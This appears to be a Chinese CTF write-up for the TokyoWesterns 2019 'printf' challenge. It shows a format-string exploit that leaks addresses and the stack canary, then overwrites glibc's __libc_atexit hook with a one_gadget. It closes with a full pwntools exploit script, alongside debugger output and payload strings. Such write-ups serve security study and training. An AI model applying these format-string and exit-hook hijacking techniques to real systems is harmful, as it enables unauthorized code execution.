printf
是TokyoWesterns CTF 2019一道格式化漏洞利用题,有意思的是,题目给的二进制程序自己实现了一个printf
函数。一般,在调用完main函数以后,程序call __libc_start_main
,继续调用exit
退出。若能够覆盖exit
中的函数指针,便可在程序退出的时候劫持程序控制流。
题目给了3个文件,除了常规的libc还额外给了一个ld.so,ld.so用于装载libc。这里需要用到patchelf这个工具,执行以下命令,将libc和ld.so指向题目所给的文件
patchelf --set-interpreter /root/workspace/elf/ld-linux-x86-64-b6d3f5f70ba36f736a596a01829be4d619e373b4167b513d634c044ac7d74b94.so.2 printf patchelf --set-rpath /root/workspace/elf:/libc.so.6 printf
现在printf程序指向了题目所给libc和ld.so
~/workspace/elf # ldd printf linux-vdso.so.1 => (0x00007ffe09ac1000) libc.so.6 => /root/workspace/elf/libc.so.6 (0x00007fd7c5dd0000) /root/workspace/elf/ld-linux-x86-64-b6d3f5f70ba36f736a596a01829be4d619e373b4167b513d634c044ac7d74b94.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fd7c5fbb000)
保护全开
[*] '/root/workspace/elf/printf' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: '/root/workspace/elf:/libc.so.6'
查看伪代码,sub_136E
是程序自己实现的printf函数
_int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rdx
__int64 v4; // rcx
__int64 v5; // r8
__int64 v6; // r9
__int64 v7; // rdx
__int64 v8; // rcx
__int64 v9; // r8
__int64 v10; // r9
const unsigned __int16 **v11; // rax
__int64 v12; // rdx
__int64 v13; // rcx
__int64 v14; // r8
__int64 v15; // r9
__int64 v16; // rdx
__int64 v17; // rcx
__int64 v18; // r8
__int64 v19; // r9
__int64 v20; // rdx
__int64 v21; // rcx
__int64 v22; // r8
__int64 v23; // r9
int i; // [rsp+8h] [rbp-118h]
int v26; // [rsp+Ch] [rbp-114h]
char buf[264]; // [rsp+10h] [rbp-110h]
unsigned __int64 v28; // [rsp+118h] [rbp-8h]
v28 = __readfsqword(0x28u);
sub_130D();
sub_136E((__int64)"What's your name?", (__int64)a2, v3, v4, v5, v6);
v26 = read(0, buf, 0x100uLL);
buf[v26 - 1] = 0;
for ( i = 0; i < v26 - 1; ++i )
{
v11 = __ctype_b_loc();
v7 = (__int64)*v11;
if ( !((*v11)[buf[i]] & 0x4000) )
_exit(1);
}
sub_136E((__int64)"Hi, ", (__int64)buf, v7, v8, v9, v10);
sub_136E((__int64)buf, (__int64)buf, v12, v13, v14, v15);
sub_136E((__int64)"Do you leave a comment?", (__int64)buf, v16, v17, v18, v19);
buf[(signed int)((unsigned __int64)read(0, buf, 0x100uLL) - 1)] = 0;
sub_136E((__int64)buf, (__int64)buf, v20, v21, v22, v23);
return 0LL;
}
测试发现sub_136E
存在格式化漏洞
~/workspace/elf # ./printf What's your name? %lx %lx %lx %lx %lx %lx Hi, 0 7f730b0db580 7f730b001024 4 7f730b0e0540 0 Do you leave a comment? %lx %lx %lx %lx %lx %lx 7ffcfcf0ec20 100 7f730b000f81 17 7f730b0e0540 0
利用格式化漏洞分别泄漏出stack地址、canary、libc基址、程序基址
[+] Starting local process './printf': pid 21658
[*] libc.address 0x7f537407a000
[*] stack 0x7ffe1a368fa0
[*] canary 0x5bd36eedc61f6600
[*] proc_base 0x564edfcf0000
Full RELRO
开启,这里不能写got表,查看libc的exit.c
源码:
/* Copyright (C) 1991-2019 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sysdep.h> #include <libc-lock.h> #include "exit.h" #include "set-hooks.h" DEFINE_HOOK (__libc_atexit, (void)) /* Initialize the flag that indicates exit function processing is complete. See concurrency notes in stdlib/exit.h where __exit_funcs_lock is declared. */ bool __exit_funcs_done = false; /* Call all functions registered with `atexit' and `on_exit', in the reverse of the order in which they were registered perform stdio cleanup, and terminate program execution with STATUS. */ void attribute_hidden __run_exit_handlers (int status, struct exit_function_list **listp, bool run_list_atexit, bool run_dtors) { /* First, call the TLS destructors. */ #ifndef SHARED if (&__call_tls_dtors != NULL) #endif if (run_dtors) __call_tls_dtors (); /* We do it this way to handle recursive calls to exit () made by the functions registered with `atexit' and `on_exit'. We call everyone on the list and use the status value in the last exit (). */ while (true) { struct exit_function_list *cur; __libc_lock_lock (__exit_funcs_lock); restart: cur = *listp; if (cur == NULL) { /* Exit processing complete. We will not allow any more atexit/on_exit registrations. */ __exit_funcs_done = true; __libc_lock_unlock (__exit_funcs_lock); break; } while (cur->idx > 0) { struct exit_function *const f = &cur->fns[--cur->idx]; const uint64_t new_exitfn_called = __new_exitfn_called; /* Unlock the list while we call a foreign function. */ __libc_lock_unlock (__exit_funcs_lock); switch (f->flavor) { void (*atfct) (void); void (*onfct) (int status, void *arg); void (*cxafct) (void *arg, int status); case ef_free: case ef_us: break; case ef_on: onfct = f->func.on.fn; #ifdef PTR_DEMANGLE PTR_DEMANGLE (onfct); #endif onfct (status, f->func.on.arg); break; case ef_at: atfct = f->func.at; #ifdef PTR_DEMANGLE PTR_DEMANGLE (atfct); #endif atfct (); break; case ef_cxa: /* To avoid dlclose/exit race calling cxafct twice (BZ 22180), we must mark this function as ef_free. */ f->flavor = ef_free; cxafct = f->func.cxa.fn; #ifdef PTR_DEMANGLE PTR_DEMANGLE (cxafct); #endif cxafct (f->func.cxa.arg, status); break; } /* Re-lock again before looking at global state. */ __libc_lock_lock (__exit_funcs_lock); if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called)) /* The last exit function, or another thread, has registered more exit functions. Start the loop over. */ goto restart; } *listp = cur->next; if (*listp != NULL) /* Don't free the last element in the chain, this is the statically allocate element. */ free (cur); __libc_lock_unlock (__exit_funcs_lock); } if (run_list_atexit) RUN_HOOK (__libc_atexit, ()); _exit (status); } void exit (int status) { __run_exit_handlers (status, &__exit_funcs, true, true); } libc_hidden_def (exit)
注意到__libc_atexit
这个函数指针,当程序退出会调用exit函数,最终调用__libc_atexit
所指向的地址
# RUN_HOOK (__libc_atexit, ());
...
# define DEFINE_HOOK_RUNNER(name, runner, proto, args) \
DEFINE_HOOK (name, proto); \
extern void runner proto; void runner proto { RUN_HOOK (name, args); }
...
现在问题就在于如何将one_gadget
写入该地址。向buf随便输入一串字符(我这里输入one_gadget
的值),在内存检索该值,一共找到两处:
[+] Waiting for debugger: Done [*] libc.address 0x7f591a884000 [*] stack 0x7ffcf901e290 [*] canary 0xb395c502847a3600 [*] proc_base 0x56346a570000 [*] one_gadget 0x7f591a966383 gef➤ search-pattern 0x7f591a966383 [+] Searching '\x83\x63\x96\x1a\x59\x7f' in memory [+] In '[stack]'(0x7ffcf8fff000-0x7ffcf9020000), permission=rw- 0x7ffcf901df00 - 0x7ffcf901df18 → "\x83\x63\x96\x1a\x59\x7f[...]" 0x7ffcf901e0a0 - 0x7ffcf901e0b8 → "\x83\x63\x96\x1a\x59\x7f[...]" gef➤ p/x 0x7ffcf901e0a0-0x7ffcf901df00 $1 = 0x1a0
设定偏移量为0x1000
pl = "%{}x{}".format(4096, p64(one_gadget)) s.ru("comment?") s.sl(pl)
明显看到one_gadget
往上了0x1000的偏移量进行写入,由于libc位于stack的上方,通过计算合适的偏移量便可用one_gadget
覆盖__libc_atexit
[+] Waiting for debugger: Done
[*] libc.address 0x7f7142fcd000
[*] stack 0x7ffdb96518f0
[*] canary 0xeec90b90217bf000
[*] proc_base 0x5573ff19b000
[*] one_gadget 0x7f71430af383
gef➤ search-pattern 0x7f71430af383
[+] Searching '\x83\xf3\x0a\x43\x71\x7f' in memory
[+] In '[stack]'(0x7ffdb9632000-0x7ffdb9653000), permission=rw-
0x7ffdb9650570 - 0x7ffdb9650588 → "\x83\xf3\x0a\x43\x71\x7f[...]"
0x7ffdb9651706 - 0x7ffdb965171e → "\x83\xf3\x0a\x43\x71\x7f[...]"
gef➤ p/x 0x7ffdb9651706-0x7ffdb9650570
$1 = 0x1196
当调用完__libc_start_main
程序准备退出之时,跟进到libc的exit
函数调用__libc_atexit
处
───────────────────────────── code:x86:64 ──── 0x7f624efde38c shr rax, 0x3 0x7f624efde390 lea r12, [rbx+rax*8+0x8] 0x7f624efde395 nop DWORD PTR [rax] → 0x7f624efde398 call QWORD PTR [rbx] 0x7f624efde39a add rbx, 0x8 0x7f624efde39e cmp rbx, r12 0x7f624efde3a1 jne 0x7f624efde398 0x7f624efde3a3 mov edi, ebp 0x7f624efde3a5 call 0x7f624f0788f0 <_exit> ────────────────────────────────────────────────────────────────── arguments (guessed) ──── *[rbx] ( $rdi = 0x00007f624f1af968 → 0x0000000000000000, $rsi = 0x0000000000000001, $rdx = 0x0000000000000000, $rcx = 0x0000000000000000 )
可以在IDA里看到该处的代码
LABEL_42: if ( v19 ) { v18 = &off_1E66C8; if ( &off_1E66C8 < (__int64 (__fastcall **)())&unk_1E66D0 ) { do { (*v18)(); ++v18; } while ( v18 != &off_1E66C8 + ((unsigned __int64)((char *)&off_1E66C8 + 7 - (char *)&off_1E66C8) >> 3) + 1 ); } } exit(status); } sub_12BDB0(dword_1EA108); goto LABEL_42;
查看rbx的值,目标就是将0x7f7adebb46c8地址的值覆盖成one_gadget
─────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x00007f624f17d6c8 → 0x00007f624f079383 → <execvpe+979> mov rsi, rcx
$rcx : 0x0
$rdx : 0x0
$rsp : 0x00007ffd3f489360 → 0x20786c2520786c25 ("%lx %lx "?)
$rbp : 0x0
$rsi : 0x1
$rdi : 0x00007f624f1af968 → 0x0000000000000000
$rip : 0x00007f624efde398 → call QWORD PTR [rbx]
$r8 : 0x2
$r9 : 0x00007f624f183580 → 0x00007f624f183580 → [loop detected]
$r10 : 0x00007ffd3f489224 → 0x0000000000000001
$r11 : 0x2
$r12 : 0x00007f624f17d6d0 → 0x0000000000000000
$r13 : 0x1
$r14 : 0x00007f624f181108 → 0x0000000000000000
$r15 : 0x0
$eflags: [CARRY PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
来算算到达该地址所需要的偏移,这里的0x9af030ba40
便是偏移量
[+] Waiting for debugger: Done [*] libc.address 0x7f624ef97000 [*] stack 0x7ffd3f489490 [*] canary 0x3a05dd79a9ba500 [*] proc_base 0x55a3c78fa000 [*] one_gadget 0x7f624f079383 [*] atexit_stack_diff 0x9af030ba40 gef➤ vmmap libc Start End Offset Perm Path 0x00007f624ef97000 0x00007f624efbc000 0x0000000000000000 r-- /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6 0x00007f624efbc000 0x00007f624f12f000 0x0000000000025000 r-x /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6 0x00007f624f12f000 0x00007f624f178000 0x0000000000198000 r-- /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6 0x00007f624f178000 0x00007f624f17b000 0x00000000001e0000 r-- /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6 0x00007f624f17b000 0x00007f624f17e000 0x00000000001e3000 rw- /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6 gef➤ p/x 0x00007f624f17d6c8-0x00007f624ef97000 $1 = 0x1e66c8 gef➤ p/x 0x7f624efde398-0x00007f624ef97000 $2 = 0x47398 gef➤ p/x 0x7ffd3f489490-(0x00007f624ef97000+0x1e66c8)-0x390 $3 = 0x9af030ba38 gef➤ p/x 0x7ffd3f489490-(0x00007f624ef97000+0x1e66c8)-0x390+8 $4 = 0x9af030ba40
0x1e66c8
是__libc_atexit
相对于libc基址的偏移,可以在IDA找到该结构
__libc_atexit:00000000001E66C8 __libc_atexit segment para public 'DATA' use64
__libc_atexit:00000000001E66C8 assume cs:__libc_atexit
__libc_atexit:00000000001E66C8 ;org 1E66C8h
__libc_atexit:00000000001E66C8 off_1E66C8 dq offset fcloseall_0 ; DATA XREF: sub_47170+1FF↑o
__libc_atexit:00000000001E66C8 ; sub_5C960+1BFA↑o ...
__libc_atexit:00000000001E66C8 __libc_atexit ends
0x390
是栈内地址偏移
[+] Waiting for debugger: Done [*] libc.address 0x7f2e14154000 [*] stack 0x7ffc707793c0 [*] canary 0x6ad3921cfee82500 [*] proc_base 0x55fcbd744000 gef➤ search-pattern 0x7f2e14236383 [+] Searching '\x83\x63\x23\x14\x2e\x7f' in memory [+] In '[stack]'(0x7ffc7075a000-0x7ffc7077b000), permission=rw- 0x7ffc70779030 - 0x7ffc70779048 → "\x83\x63\x23\x14\x2e\x7f[...]" 0x7ffc707791d0 - 0x7ffc707791e8 → "\x83\x63\x23\x14\x2e\x7f[...]" gef➤ p/x 0x7ffc707793c0-0x7ffc70779030 $1 = 0x390
覆盖__libc_atexit
为one_gadget
地址
完整的EXP
#! /usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import os, sys # Setting at first DEBUG = 3 LIBCV = 2.19 context.arch = "amd64" #context.log_level = "debug" elf = ELF("./printf",checksec=False) # synonyms for faster typing tube.s = tube.send tube.sl = tube.sendline tube.sa = tube.sendafter tube.sla = tube.sendlineafter tube.r = tube.recv tube.ru = tube.recvuntil tube.rl = tube.recvline tube.ra = tube.recvall tube.rr = tube.recvregex tube.irt = tube.interactive if DEBUG == 1: if context.arch == "i386": libc = ELF("/lib/i386-linux-gnu/libc.so.6",checksec=False) elif context.arch == "amd64": libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False) s = process("./printf") elif DEBUG == 2: if context.arch == "i386": libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86/libc.so.6",checksec=False) os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/x86/glibc-"+str(LIBCV)+"/x86/ld-linux-x86-64.so.2 printf") os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86:/libc.so.6 printf") elif context.arch == "amd64": #libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/libc.so.6",checksec=False) #os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/ld-linux-x86-64.so.2 printf") #os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64:/libc.so.6 printf") libc = ELF("./libc.so.6") os.system("patchelf --set-interpreter /root/workspace/elf/ld-linux-x86-64-b6d3f5f70ba36f736a596a01829be4d619e373b4167b513d634c044ac7d74b94.so.2 printf") os.system("patchelf --set-rpath /root/workspace/elf:/libc.so.6 printf") s = process("./printf") elif DEBUG == 3: libc = ELF("./libc.so.6",checksec=False) ip = "printf.chal.ctf.westerns.tokyo" port = 10001 s = remote(ip,port) def clean(): s.close() if DEBUG == 2: if context.arch == "i386": os.system("patchelf --set-interpreter /lib/ld-linux.so.2 printf") os.system("patchelf --set-rpath /lib/i386-linux-gnu:/libc.so.6 printf") if context.arch == "amd64": os.system("patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 printf") os.system("patchelf --set-rpath /lib/x86_64-linux-gnu:/libc.so.6 printf") def pwn(): #zx(0x130B) #pause() pl = "%lx "*((0x100-4)/4)#64 s.sla("What's your name?", pl) s.ru("Hi, \n") leak = s.ru("Do").split(" ") libc.address = int(leak[2],16) - 0x10d024 stack = int(leak[39],16) canary = int(leak[40],16) proc_base = int(leak[41],16) - 0x2a40 one_gadget = libc.address + 0xe2383 info("libc.address 0x%x", libc.address) info("stack 0x%x", stack) info("canary 0x%x", canary) info("proc_base 0x%x", proc_base) info("one_gadget 0x%x", one_gadget) atexit_stack_diff = stack - (libc.address + 0x1e66c8) - 0x390 + 8 info("atexit_stack_diff 0x%x", atexit_stack_diff) pl = "%{}x{}".format(atexit_stack_diff, p64(one_gadget)) s.ru("comment?") s.sl(pl) s.irt() #clean() # TWCTF{Pudding_Pudding_Pudding_purintoehu} if __name__ == "__main__": pwn()
pwn~